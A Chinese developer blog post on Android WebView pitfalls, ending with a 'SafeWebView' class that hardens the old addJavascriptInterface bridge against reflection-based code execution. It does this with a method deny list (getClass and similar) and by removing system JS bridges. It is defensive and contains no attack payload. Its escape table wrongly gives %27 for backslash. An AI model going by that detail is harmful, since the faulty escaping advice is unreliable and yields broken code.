我们可以通过使用 WebView.loadData(String data, String mimeType, String encoding) 方法来加载一整个 HTML 页面的一小段内容,第一个就是我们需要 WebView 展示的内容,第二个是我们告诉 WebView 我们展示内容的类型,一般,第三个是字节码,但是使用的时候,这里会有一些坑,我们来看一个简单的例子:

String html = new String("

我是loadData() 的标题

  我是他的内容

"); webView.loadData(html, "text/html", "UTF-8");

可以注意到这里显示成乱码了,可是明明已经指定了编码格式为 UTF-8 啊,可是这就是使用的坑,我们需要将代码进行修改:

String html = new String("

我是loadData() 的标题

  我是他的内容

"); webView.loadData(html, "text/html;charset=UTF-8", "null");

这样我们就可以看到正确的内容了,Google 还指出,在我们这种加载的方法下,我们的 Data 数据里不能出现 ’#’, ‘%’, ‘\’ , ‘?’ 这四个字符,如果出现了我们要用 %23, %25, %27, %3f 对应来替代,网上列举了未将特定字符转义过程中遇到的异常现象:

A)   %  会报找不到页面错误,页面全是乱码。
B)   #  会让你的 goBack 失效,但 canGoBAck 是可以使用的,于是就会产生返回按钮生效,但不能返回的情况。
C)   \ 和 ?  在转换时,会报错,因为它会把 \ 当作转义符来使用,如果用两级转义,也不生效。

我们在使用 loadData() 时,就意味着需要把所有的非法字符全部转换掉,这样就会给运行速度带来很大的影响,因为在使用时,很多情况下页面 stytle 中会使用很多 '%' 号,页面的数据越多,运行的速度就会越慢。

页面空白

当 WebView 嵌套在 ScrollView 里面的时候,如果 WebView 先加载了一个高度很高的网页,然后加载了一个高度很低的网页,就会造成 WebView 的高度无法自适应,底部出现大量空白的情况出现,具体的可以看看我以前的博客:android ScollView 嵌套 WebView 底部空白,高度无法自适应解决。

内存泄漏

WebView 的内存泄漏是一个比较大的问题,尤其是当加载的页面比较庞大的时候,解决方法网上也比较多,但是看情况大部分都不是能彻底根治的,这里说一下 QQ 和微信的做法,每当打开一个 WebView 界面的时候,会开启一个新进程,在页面退出之后通过 System.exit(0) 关闭这个进程,这样就不会存在内存泄漏的问题了,具体的做法可以查看这篇博客:Android WebView Memory Leak WebView内存泄漏,里面也提供了另外一种解决办法,感兴趣的可以去看一下。

setBuiltInZoomControls 引起的 Crash

当使用 mWebView.getSettings().setBuiltInZoomControls(true) 启用该设置后,用户一旦触摸屏幕,就会出现缩放控制图标。这个图标过上几秒会自动消失,但在 3.0 之上 4.4 系统之下很多手机会出现这种情况:如果图标自动消失前退出当前 Activity 的话,就会发生 ZoomButton 找不到依附的 Window 而造成程序崩溃,解决办法很简单就是在 Activity 的 onDestory 方法中调用 mWebView.setVisibility(View.GONE); 方法,手动将其隐藏,就不会崩溃了。

后台无法释放 JS 导致耗电

如果 WebView 加载的的 html 里有一些 JS 一直在执行比如动画之类的东西,如果此刻 WebView 挂在了后台,这些资源是不会被释放,用户也无法感知,导致一直占有 CPU 增加耗电量,如果遇到这种情况,在 onStop 和 onResume 里分别把 setJavaScriptEnabled() 给设置成 false 和 true 即可。

源码

来看看解决上述问题的 WebView 源码:

public class SafeWebView extends WebView {
    private static final boolean DEBUG = true;
    private static final String VAR_ARG_PREFIX = "arg";
    private static final String MSG_PROMPT_HEADER = "MyApp:";
    /**
     * 对象名
     */
    private static final String KEY_INTERFACE_NAME = "obj";
    /**
     * 函数名
     */
    private static final String KEY_FUNCTION_NAME = "func";
    /**
     * 参数数组
     */
    private static final String KEY_ARG_ARRAY = "args";
    /**
     * 要过滤的方法数组
     */
    private static final String[] mFilterMethods = {
            "getClass",
            "hashCode",
            "notify",
            "notifyAll",
            "equals",
            "toString",
            "wait",
    };

    /**
     * 缓存addJavascriptInterface的注册对象
     */
    private HashMap mJsInterfaceMap = new HashMap<>();

    /**
     * 缓存注入到JavaScript Context的js脚本
     */
    private String mJsStringCache = null;

    public SafeWebView(Context context, AttributeSet attrs, int defStyle) {
        super(context, attrs, defStyle);
        init();
    }

    public SafeWebView(Context context, AttributeSet attrs) {
        super(context, attrs);
        init();
    }

    public SafeWebView(Context context) {
        super(context);
        init();
    }

    /**
     * WebView 初始化,设置监听,删除部分Android默认注册的JS接口
     */
    private void init() {
        setWebChromeClient(new WebChromeClientEx());
        setWebViewClient(new WebViewClientEx());
        safeSetting();

        removeUnSafeJavascriptImpl();
    }

    /**
     * 安全性设置
     */
    private void safeSetting() {
        getSettings().setSavePassword(false);
        getSettings().setAllowFileAccess(false);//设置为 false 将不能加载本地 html 文件
        if (Build.VERSION.SDK_INT >= 16) {
            getSettings().setAllowFileAccessFromFileURLs(false);
            getSettings().setAllowUniversalAccessFromFileURLs(false);
        }
    }

    /**
     * 检查SDK版本是否 >= 3.0 (API 11)
     */
    private boolean hasHoneycomb() {
        return Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB;
    }

    /**
     * 检查SDK版本是否 >= 4.2 (API 17)
     */
    private boolean hasJellyBeanMR1() {
        return Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1;
    }

    /**
     * 3.0 ~ 4.2 之间的版本需要移除 Google 注入的几个对象
     */
    @SuppressLint("NewApi")
    private boolean removeUnSafeJavascriptImpl() {
        if (hasHoneycomb() && !hasJellyBeanMR1()) {
            super.removeJavascriptInterface("searchBoxJavaBridge_");
            super.removeJavascriptInterface("accessibility");
            super.removeJavascriptInterface("accessibilityTraversal");
            return true;
        }
        return false;
    }

    @Override
    public void setWebViewClient(WebViewClient client) {
        if (hasJellyBeanMR1()) {
            super.setWebViewClient(client);
        } else {
            if (client instanceof WebViewClientEx) {
                super.setWebViewClient(client);
            } else if (client == null) {
                super.setWebViewClient(client);
            } else {
                throw new IllegalArgumentException(
                        "the \'client\' must be a subclass of the \'WebViewClientEx\'");
            }
        }
    }

    @Override
    public void setWebChromeClient(WebChromeClient client) {
        if (hasJellyBeanMR1()) {
            super.setWebChromeClient(client);
        } else {
            if (client instanceof WebChromeClientEx) {
                super.setWebChromeClient(client);
            } else if (client == null) {
                super.setWebChromeClient(client);
            } else {
                throw new IllegalArgumentException(
                        "the \'client\' must be a subclass of the \'WebChromeClientEx\'");
            }
        }
    }

    /**
     * 如果版本大于 4.2,漏洞已经被解决,直接调用基类的 addJavascriptInterface
     * 如果版本小于 4.2,则使用map缓存待注入对象
     */
    @SuppressLint("JavascriptInterface")
    @Override
    public void addJavascriptInterface(Object obj, String interfaceName) {
        if (TextUtils.isEmpty(interfaceName)) {
            return;
        }

        // 如果在4.2以上,直接调用基类的方法来注册
        if (hasJellyBeanMR1()) {
            super.addJavascriptInterface(obj, interfaceName);
        } else {
            mJsInterfaceMap.put(interfaceName, obj);
        }
    }

    /**
     * 删除待注入对象,
     * 如果版本为 4.2 以及 4.2 以上,则使用父类的removeJavascriptInterface。
     * 如果版本小于 4.2,则从缓存 map 中删除注入对象
     */
    @SuppressLint("NewApi")
    public void removeJavascriptInterface(String interfaceName) {
        if (hasJellyBeanMR1()) {
            super.removeJavascriptInterface(interfaceName);
        } else {
            mJsInterfaceMap.remove(interfaceName);
            //每次 remove 之后,都需要重新构造 JS 注入
            mJsStringCache = null;
            injectJavascriptInterfaces();
        }
    }

    /**
     * 如果 WebView 是 SafeWebView 类型,则向 JavaScript Context 注入对象,确保 WebView 是有安全机制的
     */
    private void injectJavascriptInterfaces(WebView webView) {
        if (webView instanceof SafeWebView) {
            injectJavascriptInterfaces();
        }
    }

    /**
     * 注入我们构造的 JS
     */
    private void injectJavascriptInterfaces() {
        if (!TextUtils.isEmpty(mJsStringCache)) {
            loadUrl(mJsStringCache);
            return;
        }

        mJsStringCache = genJavascriptInterfacesString();
        loadUrl(mJsStringCache);
    }

    /**
     * 根据缓存的待注入java对象,生成映射的JavaScript代码,也就是桥梁(SDK4.2之前通过反射生成)
     */
    private String genJavascriptInterfacesString() {
        if (mJsInterfaceMap.size() == 0) {
            return null;
        }

        /*
         * 要注入的JS的格式,其中XXX为注入的对象的方法名,例如注入的对象中有一个方法A,那么这个XXX就是A
         * 如果这个对象中有多个方法,则会注册多个window.XXX_js_interface_name块,我们是用反射的方法遍历
         * 注入对象中的带有@JavaScripterInterface标注的方法
         *
         * javascript:(function JsAddJavascriptInterface_(){
         *   if(typeof(window.XXX_js_interface_name)!='undefined'){
         *       console.log('window.XXX_js_interface_name is exist!!');
         *   }else{
         *       window.XXX_js_interface_name={
         *           XXX:function(arg0,arg1){
         *               return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
         *           },
         *       };
         *   }
         * })()
         */

        Iterator> iterator = mJsInterfaceMap.entrySet().iterator();
        //HEAD
        StringBuilder script = new StringBuilder();
        script.append("javascript:(function JsAddJavascriptInterface_(){");

        // 遍历待注入java对象,生成相应的js对象
        try {
            while (iterator.hasNext()) {
                Map.Entry entry = iterator.next();
                String interfaceName = entry.getKey();
                Object obj = entry.getValue();
                // 生成相应的js方法
                createJsMethod(interfaceName, obj, script);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

        // End
        script.append("})()");
        return script.toString();
    }

    /**
     * 根据待注入的java对象,生成js方法
     *
     * @param interfaceName 对象名
     * @param obj           待注入的java对象
     * @param script        js代码
     */
    private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {
        if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {
            return;
        }

        Class objClass = obj.getClass();

        script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");
        if (DEBUG) {
            script.append("    console.log('window." + interfaceName + "_js_interface_name is exist!!');");
        }

        script.append("}else {");
        script.append("    window.").append(interfaceName).append("={");

        // 通过反射机制,添加java对象的方法
        Method[] methods = objClass.getMethods();
        for (Method method : methods) {
            String methodName = method.getName();
            // 过滤掉Object类的方法,包括getClass()方法,因为在Js中就是通过getClass()方法来得到Runtime实例
            if (filterMethods(methodName)) {
                continue;
            }

            script.append("        ").append(methodName).append(":function(");
            // 添加方法的参数
            int argCount = method.getParameterTypes().length;
            if (argCount > 0) {
                int maxCount = argCount - 1;
                for (int i = 0; i < maxCount; ++i) {
                    script.append(VAR_ARG_PREFIX).append(i).append(",");
                }
                script.append(VAR_ARG_PREFIX).append(argCount - 1);
            }

            script.append(") {");

            // Add implementation
            if (method.getReturnType() != void.class) {
                script.append("            return ").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");
            } else {
                script.append("            prompt('").append(MSG_PROMPT_HEADER).append("'+");
            }

            // Begin JSON
            script.append("JSON.stringify({");
            script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");
            script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");
            script.append(KEY_ARG_ARRAY).append(":[");
            //  添加参数到JSON串中
            if (argCount > 0) {
                int max = argCount - 1;
                for (int i = 0; i < max; i++) {
                    script.append(VAR_ARG_PREFIX).append(i).append(",");
                }
                script.append(VAR_ARG_PREFIX).append(max);
            }

            // End JSON
            script.append("]})");
            // End prompt
            script.append(");");
            // End function
            script.append("        }, ");
        }

        // End of obj
        script.append("    };");
        // End of if or else
        script.append("}");
    }

    /**
     * 检查是否是被过滤的方法
     */
    private boolean filterMethods(String methodName) {
        for (String method : mFilterMethods) {
            if (method.equals(methodName)) {
                return true;
            }
        }
        return false;
    }

    /**
     * 利用反射,调用java对象的方法。
     * 

* 从缓存中取出key=interfaceName的java对象,并调用其methodName方法 * * @param result * @param interfaceName 对象名 * @param methodName 方法名 * @param args 参数列表 * @return */ private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) { boolean succeed = false; final Object obj = mJsInterfaceMap.get(interfaceName); if (null == obj) { result.cancel(); return false; } Class[] parameterTypes = null; int count = 0; if (args != null) { count = args.length; } if (count > 0) { parameterTypes = new Class[count]; for (int i = 0; i < count; ++i) { parameterTypes[i] = getClassFromJsonObject(args[i]); } } try { Method method = obj.getClass().getMethod(methodName, parameterTypes); Object returnObj = method.invoke(obj, args); // 执行接口调用 boolean isVoid = returnObj == null || returnObj.getClass() == void.class; String returnValue = isVoid ? "" : returnObj.toString(); result.confirm(returnValue); // 通过prompt返回调用结果 succeed = true; } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } result.cancel(); return succeed; } /** * 解析出参数类型 * * @param obj * @return */ private Class getClassFromJsonObject(Object obj) { Class cls = obj.getClass(); // js对象只支持int boolean string三种类型 if (cls == Integer.class) { cls = Integer.TYPE; } else if (cls == Boolean.class) { cls = Boolean.TYPE; } else { cls = String.class; } return cls; } /** * 解析JavaScript调用prompt的参数message,提取出对象名、方法名,以及参数列表,再利用反射,调用java对象的方法。 * * @param view * @param url * @param message MyApp:{"obj":"jsInterface","func":"onButtonClick","args":["从JS中传递过来的文本!!!"]} * @param defaultValue * @param result * @return */ private boolean handleJsInterface(WebView view, String url, String message, String defaultValue, JsPromptResult result) { String prefix = MSG_PROMPT_HEADER; if (!message.startsWith(prefix)) { return false; } String jsonStr = message.substring(prefix.length()); try { JSONObject jsonObj = new JSONObject(jsonStr); // 对象名称 String interfaceName = jsonObj.getString(KEY_INTERFACE_NAME); // 方法名称 String methodName = jsonObj.getString(KEY_FUNCTION_NAME); // 参数数组 JSONArray argsArray = jsonObj.getJSONArray(KEY_ARG_ARRAY); Object[] args = null; if (null != argsArray) { int count = argsArray.length(); if (count > 0) { args = new Object[count]; for (int i = 0; i < count; ++i) { Object arg = argsArray.get(i); if (!arg.toString().equals("null")) { args[i] = arg; } else { args[i] = null; } } } } if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) { return true; } } catch (Exception e) { e.printStackTrace(); } result.cancel(); return false; } private class WebChromeClientEx extends WebChromeClient { @Override public final void onProgressChanged(WebView view, int newProgress) { injectJavascriptInterfaces(view); super.onProgressChanged(view, newProgress); } @Override public final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) { if (view instanceof SafeWebView) { if (handleJsInterface(view, url, message, defaultValue, result)) { return true; } } return super.onJsPrompt(view, url, message, defaultValue, result); } @Override public final void onReceivedTitle(WebView view, String title) { injectJavascriptInterfaces(view); } } private class WebViewClientEx extends WebViewClient { @Override public void onLoadResource(WebView view, String url) { injectJavascriptInterfaces(view); super.onLoadResource(view, url); } @Override public void doUpdateVisitedHistory(WebView view, String url, boolean isReload) { injectJavascriptInterfaces(view); super.doUpdateVisitedHistory(view, url, isReload); } @Override public void onPageStarted(WebView view, String url, Bitmap favicon) { injectJavascriptInterfaces(view); super.onPageStarted(view, url, favicon); } @Override public void onPageFinished(WebView view, String url) { injectJavascriptInterfaces(view); super.onPageFinished(view, url); } } }

这段代码基本是按照上面所描述的情况来写的,修复了上面提到的几个漏洞,这里再描述一下几个需要注意的点:

  • removeUnSafeJavascriptImpl :该函数用来在特定版本删除上面提到的几个 Google 注入的对象;
  • setWebViewClient 和 setWebChromeClient :重写这两个函数用来防止子类使用原生的 WebViewClient 和 WebChromeClient 导致失效;
  • 在上面提到的 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged 几个方法里面调用 injectJavascriptInterfaces 方法来注入生成的 JS 代码;
  • genJavascriptInterfacesString 函数用来生成需要注入的 JS 代码,其中通过 filterMethods 方法过滤掉了上面提到的几个需要过滤的方法;
  • 注入完 JS 之后,Web 端就可以根据方法名调用对应终端注入的这段 JS 函数,然后调用到终端的 onJsPrompt 方法,通过 message 变量将信息传递过来,终端解析出对象、方法名和参数,最后通过反射的方法调用到 Native 层的代码,另外如果需要返回值,则可以通过 JsPromptResult 对象通过 confirm 函数将信息从 Native 层传递给 Web 端,这样就实现了一个完整的调用链。

你可能感兴趣的:(002 WebView详解)